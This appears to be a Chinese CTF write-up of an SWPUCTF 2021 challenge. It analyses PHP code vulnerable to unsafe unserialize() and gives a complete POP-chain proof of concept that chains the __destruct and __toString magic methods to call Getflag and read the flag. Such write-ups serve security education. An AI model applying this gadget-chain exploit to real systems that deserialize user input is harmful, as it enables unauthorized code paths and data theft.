打开靶机
进入到里面之后看到几行代码。知道是关于反序列化的和pop链的构造,pop链就是利用魔法方法在里面进行多次跳转然后获取敏感数据。
这里我简单分析一下代码。
<?php
error_reporting(0);
show_source("index.php"); //显示index.php页源代码。和关闭错误信息
class w44m{
private $admin = 'aaa';
protected $passwd = '123456'; //定义admin和passwd初始值
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php'); //构建getflag方法
echo $flag; //当admin和passwd值为w44m和08067时输出flag.php
}else{ //目标
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){ //当对象被销毁时调用_destruct函数。输出woom属性的值
echo $this->w00m; //注入点
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){ //当类被当成字符串时触发,这是一个动态的调用方法。
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
我们可以这么构造poc链。
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>
因为两个值是私有和保护属性,在反序列化是会用不可见字符进行特殊标记,用url编码可以直接显示出来。
标签:w00m,SWPUCTF,passwd,w22m,pop,echo,admin,2021,public From: https://blog.csdn.net/2301_79210256/article/details/143006544